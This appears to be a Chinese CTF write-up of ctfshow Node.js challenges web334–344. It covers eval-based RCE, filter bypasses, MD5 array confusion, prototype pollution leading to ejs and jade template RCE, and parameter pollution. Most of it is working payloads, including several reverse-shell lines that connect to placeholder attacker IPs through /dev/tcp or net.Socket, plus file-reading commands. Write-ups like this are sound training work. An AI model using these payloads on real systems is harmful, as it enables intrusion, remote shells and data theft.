ctfshow - web334- 344 - nodejs
题目都是ctfshow的,版权是ctfshow的!!!!!!如果侵权,联系立马删除
web334——Character.toUpperCase()、toLowerCase()
题目
login.js
var express = require('express');
var router = express.Router();
var users = require('../modules/user').items;
var findUser = function(name, password){
return users.find(function(item){
return name!=='CTFSHOW' && item.username === name.toUpperCase() && item.password === password;
});
};
/* GET home page. */
router.post('/', function(req, res, next) {
res.type('html');
var flag='flag_here';
var sess = req.session;
var user = findUser(req.body.username, req.body.password);
if(user){
req.session.regenerate(function(err) {
if(err){
return res.json({ret_code: 2, ret_msg: '登录失败'});
}
req.session.loginUser = user.username;
res.json({ret_code: 0, ret_msg: '登录成功',ret_flag:flag});
});
}else{
res.json({ret_code: 1, ret_msg: '账号或密码错误'});
}
});
module.exports = router;
user.js
module.exports = {
items: [
{username: 'CTFSHOW', password: '123456'}
]
};
my thought
没懂。。就是按代码的登陆后就有flag
right way
考察js的特性
在Character.toUpperCase()函数中,字符ı会转变为I,字符ſ会变为S。
ı ==>I ſ ==>S
在Character.toLowerCase()函数中,字符İ会转变为i,字符K会转变为k。
İ ==>i K ==>k
web335——RCE
题目
my thought
没想法,123有回显,输入ls提示404
right way
猜测代码为eval('console.log(xxx)')
,xxx为输入的内容,可以执行js代码
way1
require( 'child_process' ).spawnSync( 'ls', [ '/' ] ).stdout.toString()
require( 'child_process' ).spawnSync( 'ls').stdout.toString()
require( 'child_process' ).spawnSync( 'cat',['fl00g.txt']).stdout.toString()
way2
require("child_process").execSync('cat f*')
可看
global.process.mainModule.constructor._load('child_process').exec('calc')
web336
my thought
好像把335的way2ban了,way1还能使用
payload
require( 'child_process' ).spawnSync( 'ls').stdout.toString()
require( 'child_process' ).spawnSync( 'cat',['fl001g.txt']).stdout.toString()
right way
学学别人的思路
way1
?eval=__filename 通过全局变量,读取当前目录位置 ————>/app/routes/index.js
读源码
????
?eval=require('fs').readFileSync('/app/routes/index.js', 'utf-8'); ————> var express = require('express'); var router = express.Router(); /* GET home page. */ router.get('/', function(req, res, next) { res.type('html'); var evalstring = req.query.eval; if(typeof(evalstring)=='string' && evalstring.search(/exec|load/i)>0){ res.render('index',{ title: 'tql'}); }else{ res.render('index', { title: eval(evalstring)}); } }); module.exports = router;
ban了exec、load
nodejs引入函数不仅能通过
package.function
还能通过package['function']
?eval=require("child_process")['exe'%2B'cSync']('ls')
?eval=require("child_process")['exe'%2B'cSync']('cat fl001g.txt')
加号需要url编码,否则可能会被解析为空格
way2
读路径下文件
?eval=require('fs').readdirSync(".")
?eval=require('fs').readFileSync('fl001g.txt','utf-8')
way3
?eval=var s='global.process.mainModule.constructor._lo';var b="ad('child_process').ex";var c="ec(%27ls>public/1.txt%27);";eval(s%2Bb%2Bc)%3B
访问1.txt
web337——md5数组绕过
题目
var express = require('express');
var router = express.Router();
var crypto = require('crypto');
function md5(s) {
return crypto.createHash('md5')
.update(s)
.digest('hex');
}
/* GET home page. */
router.get('/', function(req, res, next) {
res.type('html');
var flag='xxxxxxx';
var a = req.query.a;
var b = req.query.b;
if(a && b && a.length===b.length && a!==b && md5(a+flag)===md5(b+flag)){
res.end(flag);
}else{
res.render('index',{ msg: 'tql'});
}
});
module.exports = router;
my thought
js也是弱类型语言参考,类似于php,nodejs应该也是吧
payload
a[x]=1&b[x]=2
web338——原型链污染
题目
https://ctfshow.lanzoui.com/iAV6Xjs9bzc
right way
自己没做出来的原因是源码不知道哪里是关键。。。
/routes/login.js中是解体的关键
router.post('/', require('body-parser').json(),function(req, res, next) {
res.type('html');
var flag='flag_here';
var secert = {};
var sess = req.session;
let user = {};
utils.copy(user,req.body);
if(secert.ctfshow==='36dboy'){
res.end(flag);
}else{
return res.json({ret_code: 2, ret_msg: '登录失败'+JSON.stringify(user)});
}
});
/utils/common.js中是copy的定义
module.exports = {
copy:copy
};
function copy(object1, object2){
for (let key in object2) {
if (key in object2 && key in object1) {
copy(object1[key], object2[key])
} else {
object1[key] = object2[key]
}
}
}
类似p牛文章里的merge函数
发包中,构造让原型中的ctfshow=36dboy
因为原型污染,secret
对象直接继承了Object.prototype,所以就导致了secert.ctfshow==='36dboy'
payload
{"__proto__":{"ctfshow":"36dboy"}}
web339——原型链污染 +
题目
function User(){
this.username='';
this.password='';
}
function normalUser(){
this.user
}
router.post('/', require('body-parser').json(),function(req, res, next) {
res.type('html');
var flag='flag_here';
var secert = {};
var sess = req.session;
let user = {};
utils.copy(user,req.body);
if(secert.ctfshow===flag){
res.end(flag);
}else{
return res.json({ret_code: 2, ret_msg: '登录失败'+JSON.stringify(user)});
}
});
my thought
大眼一看和上题差不多吧,利用__proto__
添加属性ctfshow=flag。
不大行啊,兄弟
{"__proto__":{
"ctfshow":"flag_here"
}}
这个是有点憨。。
{"__proto__":{
"ctfshow":flag
}}
这个语法貌似有问题
right way
非预期解
预期解
routes文件夹下,与上题不同,多了api.js。
var express = require('express');
var router = express.Router();
var utils = require('../utils/common');
/* GET home page. */
router.post('/', require('body-parser').json(),function(req, res, next) {
res.type('html');
res.render('api', { query: Function(query)(query)});
});
module.exports = router;
这里的可污染点存在匿名函数调用,与p牛的Code-Breaking 2018 Thejs类似Function(query)(query)这块的理解建议看tari师傅的讲解
链子还是触发的login.js中的utils.copy(user,req.body);
,然后跳转到api.js的res.render('api', { query: Function(query)(query)});
,
payload
先post /login污染原型链
{"__proto__":{"query":"return global.process.mainModule.constructor._load('child_process').exec('bash -c \"bash -i >& /dev/tcp/xxx/4567 0>&1\"')"}}
————————————————
版权声明:本文为CSDN博主「yu22x」的原创文章,遵循CC 4.0 BY-SA版权协议,转载请附上原文出处链接及本声明。
原文链接:https://blog.csdn.net/miuzzx/article/details/111780832
或
{"__proto__": {"query": "return (function(){var net = global.process.mainModule.constructor._load('net'),cp = global.process.mainModule.constructor._load('child_process'),sh = cp.spawn('/bin/sh', []);var client = new net.Socket();client.connect(2233, '服务器IP', function(){client.pipe(sh.stdin);sh.stdout.pipe(client);sh.stderr.pipe(client);});return /a/;})();"}}
POST /login HTTP/1.1
Host: dd31f2a3-961d-48ad-8147-4bcd68b96556.challenge.ctf.show
Content-Length: 158
Accept: application/json, text/javascript, */*; q=0.01
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.88 Safari/537.36
Content-Type: application/json
Origin: http://dd31f2a3-961d-48ad-8147-4bcd68b96556.challenge.ctf.show
Referer: http://dd31f2a3-961d-48ad-8147-4bcd68b96556.challenge.ctf.show/
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: UM_distinctid=17e2a8ed621d20-092ae5ddb08be2-4303066-240000-17e2a8ed62241c
Connection: close
{"__proto__":{"query":"return global.process.mainModule.constructor._load('child_process').exec('bash -c \"bash -i >& /dev/tcp/xx.xx.xx.xx/9906 0>&1\"')"}}
然后post /api触发
POST /api HTTP/1.1
Host: dd31f2a3-961d-48ad-8147-4bcd68b96556.challenge.ctf.show
Content-Length: 0
Accept: application/json, text/javascript, */*; q=0.01
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.88 Safari/537.36
Content-Type: application/json
Origin: http://dd31f2a3-961d-48ad-8147-4bcd68b96556.challenge.ctf.show
Referer: http://dd31f2a3-961d-48ad-8147-4bcd68b96556.challenge.ctf.show/
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: UM_distinctid=17e2a8ed621d20-092ae5ddb08be2-4303066-240000-17e2a8ed62241c
Connection: close
中间还有require的问题
如果上下文中没有require(类似于Code-Breaking 2018 Thejs),则可以使用global.process.mainModule.constructor._load('child_process').exec('calc')
来执行命令
web340——原型链污染 ++
题目
login.js
var express = require('express');
var router = express.Router();
var utils = require('../utils/common');
/* GET home page. */
router.post('/', require('body-parser').json(),function(req, res, next) {
res.type('html');
var flag='flag_here';
var user = new function(){
this.userinfo = new function(){
this.isVIP = false;
this.isAdmin = false;
this.isAuthor = false;
};
}
utils.copy(user.userinfo,req.body);
if(user.userinfo.isAdmin){
res.end(flag);
}else{
return res.json({ret_code: 2, ret_msg: '登录失败'});
}
});
module.exports = router;
api.js
var express = require('express');
var router = express.Router();
var utils = require('../utils/common');
/* GET home page. */
router.post('/', require('body-parser').json(),function(req, res, next) {
res.type('html');
res.render('api', { query: Function(query)(query)});
});
module.exports = router;
my thought
关键点在user这里
var user = new function(){
this.userinfo = new function(){
this.isVIP = false;
this.isAdmin = false;
this.isAuthor = false;
};
}
要先把isAdmin改为true,相当于在user类中又定义了userinfo类(这里不清楚视角类还是对象
{"__proto__":{"__proto__":{"isAdmin":"true"}}}
不行啊兄弟。。
> 貌似叫这遮蔽属性,类似于面向对象的语言里子类的值和父类的关系。
right way
!不能直接修改isAdmin的值,那继续反弹
{"__proto__":{"__proto__":{"query":"return global.process.mainModule.constructor._load('child_process').exec('bash -c \"bash -i >& /dev/tcp/xx.xx.xx.xx/9906 0>&1\"')"}}}
payload
post /login
POST /login HTTP/1.1
Host: c26937fb-aa22-4ba5-a257-af1918d84d64.challenge.ctf.show
Content-Length: 172
Accept: application/json, text/javascript, */*; q=0.01
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.88 Safari/537.36
Content-Type: application/json
Origin: http://c26937fb-aa22-4ba5-a257-af1918d84d64.challenge.ctf.show
Referer: http://c26937fb-aa22-4ba5-a257-af1918d84d64.challenge.ctf.show/
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: UM_distinctid=17e2a8ed621d20-092ae5ddb08be2-4303066-240000-17e2a8ed62241c
Connection: close
{"__proto__":{"__proto__":{"query":"return global.process.mainModule.constructor._load('child_process').exec('bash -c \"bash -i >& /dev/tcp/xx.xx.xx.xx/9906 0>&1\"')"}}}
post /api
POST /api HTTP/1.1
Host: c26937fb-aa22-4ba5-a257-af1918d84d64.challenge.ctf.show
Content-Length: 0
Accept: application/json, text/javascript, */*; q=0.01
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.88 Safari/537.36
Content-Type: application/json
Origin: http://c26937fb-aa22-4ba5-a257-af1918d84d64.challenge.ctf.show
Referer: http://c26937fb-aa22-4ba5-a257-af1918d84d64.challenge.ctf.show/
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: UM_distinctid=17e2a8ed621d20-092ae5ddb08be2-4303066-240000-17e2a8ed62241c
Connection: close
web341——原型链污染 +++
题目
login.js
/* GET home page. */
router.post('/', require('body-parser').json(),function(req, res, next) {
res.type('html');
var user = new function(){
this.userinfo = new function(){
this.isVIP = false;
this.isAdmin = false;
this.isAuthor = false;
};
};
utils.copy(user.userinfo,req.body);
if(user.userinfo.isAdmin){
return res.json({ret_code: 0, ret_msg: '登录成功'});
}else{
return res.json({ret_code: 2, ret_msg: '登录失败'});
}
});
没有了api.js,就不能用之前的方法触发反弹shell
right way
ejs模板引擎的原型链污染RCE
{"__proto__":{"__proto__":{"outputFunctionName":"_tmp1;(function(){var net=global.process.mainModule.constructor._load('net'),cp=global.process.mainModule.constructor._load('child_process'),sh=cp.spawn('/bin/sh',[]);var client=new net.Socket();client.connect(2233,'服务器IP',function(){client.pipe(sh.stdin);sh.stdout.pipe(client);sh.stderr.pipe(client);});return /a/;})();var __tmp2"}}}
这个我打不通
{"__proto__":{"__proto__":{"outputFunctionName":"_tmp1;global.process.mainModule.require('child_process').exec('bash -c \"bash -i >& /dev/tcp/xx.xx.xx.xx/6666 0>&1\"');var __tmp2"}}}
前面的_tmp1和后面的var __tmp2不能删,web338 evil0 的分析有体现到,是为了闭合代码。
post /login
POST /login HTTP/1.1
Host: 9ee0ae5f-55d7-483d-a005-c80a73eabd50.challenge.ctf.show
Content-Length: 393
Pragma: no-cache
Cache-Control: no-cache
Accept: application/json, text/javascript, */*; q=0.01
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.88 Safari/537.36
Content-Type: application/json
Origin: http://9ee0ae5f-55d7-483d-a005-c80a73eabd50.challenge.ctf.show
Referer: http://9ee0ae5f-55d7-483d-a005-c80a73eabd50.challenge.ctf.show/
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: UM_distinctid=17e2a8ed621d20-092ae5ddb08be2-4303066-240000-17e2a8ed62241c
Connection: close
{"__proto__":{"__proto__":{"outputFunctionName":"_tmp1;(function(){var net=global.process.mainModule.constructor._load('net'),cp=global.process.mainModule.constructor._load('child_process'),sh=cp.spawn('/bin/sh',[]);var client=new net.Socket();client.connect(9906,'xx.xx.xx.xx',function(){client.pipe(sh.stdin);sh.stdout.pipe(client);sh.stderr.pipe(client);});return /a/;})();var __tmp2"}}}
然后请求一个会调用 render
方法的接口(不懂
flag在根目录
web342——原型链污染 ++++(jade原型
题目
模板引擎换成了jade
(调用栈梳理不知道怎么梳理的,不太懂
right way
{"__proto__":{"__proto__":{"compileDebug":1,"type":"Code","self":1,"line":"global.process.mainModule.require('child_process').execSync('bash -c \"bash -i >& /dev/tcp/xxx/2233 0>&1\"')"}}}
{"__proto__":{"__proto__": {"type":"Block","nodes":"","compileDebug":1,"self":1,"line":"global.process.mainModule.require('child_process').exec('bash -c \"bash -i >& /dev/tcp/xxx/81 0>&1\"')"}}}
{"__proto__":{"__proto__":{"type":"Code","self":1,"line":"global.process.mainModule.require('child_process').execSync('bash -c \"bash -i >& /dev/tcp/91.67.943.121/6666 0>&1\"')"}}}
{"__proto__":{"__proto__":{"type":"Block","nodes":"","compileDebug":1,"self":1,"line":"global.process.mainModule.constructor._load('child_process').execSync('bash -c \"bash -i >& /dev/tcp/vps-ip/port 0>&1\"')"}}}
!!post数据的时候一定要把Content-Type改成 application/json,如果是application/x-www-form-urlencoded会有问题
web343——原型链污染 ++++(jade原型
同上
过滤的代码为
login.js
var express = require('express');
var router = express.Router();
var utils = require('../utils/common');
/* GET home page. */
router.post('/', require('body-parser').json(),function(req, res, next) {
res.type('html');
var user = new function(){
this.userinfo = new function(){
this.isVIP = false;
this.isAdmin = false;
this.isAuthor = false;
};
};
if(JSON.stringify(req.body).match(/Text/ig)){
res.end('hacker go away');
}else{
utils.copy(user.userinfo,req.body);
if(user.userinfo.isAdmin){
return res.json({ret_code: 0, ret_msg: '登录成功'});
}else{
return res.json({ret_code: 2, ret_msg: '登录失败'});
}
}
});
module.exports = router;
JSON.stringify(req.body).match(/Text/ig)
web344——HPP
题目
router.get('/', function(req, res, next) {
res.type('html');
var flag = 'flag_here';
if(req.url.match(/8c|2c|\,/ig)){
res.end('where is flag :)');
}
var query = JSON.parse(req.query.query);
if(query.name==='admin'&&query.password==='ctfshow'&&query.isVIP===true){
res.end(flag);
}else{
res.end('where is flag. :)');
}
});
my thought
构造
{"name":"admin","password":"ctfshow","isVIP":true}
不好使
逗号被禁用,并且发包时,经过url编码,"->%22
会出现%22c
同样过不去if
逗号用&代替
right way
HTTP协议中允许同名参数出现多次,不同服务端对同名参数处理都是不一样的,下面链接列举了一些https://www.cnblogs.com/AtesetEnginner/p/12375499.html
nodejs 会把同名参数以数组的形式存储,并且
JSON.parse
可以正常解析。
payload
/?query={"name":"admin"&query="password":"%63tfshow"&query="isVIP":true}
重看
335、338、339、341
参考
https://tari.moe/2021/05/04/ctfshow-nodejs/
http://www.yongsheng.site/2021/11/16/ctfshow%20nodejs/
https://lonmar.cn/2021/02/15/nodejs/
https://blog.csdn.net/miuzzx/article/details/111780832
https://www.leavesongs.com/PENETRATION/node-postgres-code-execution-vulnerability.html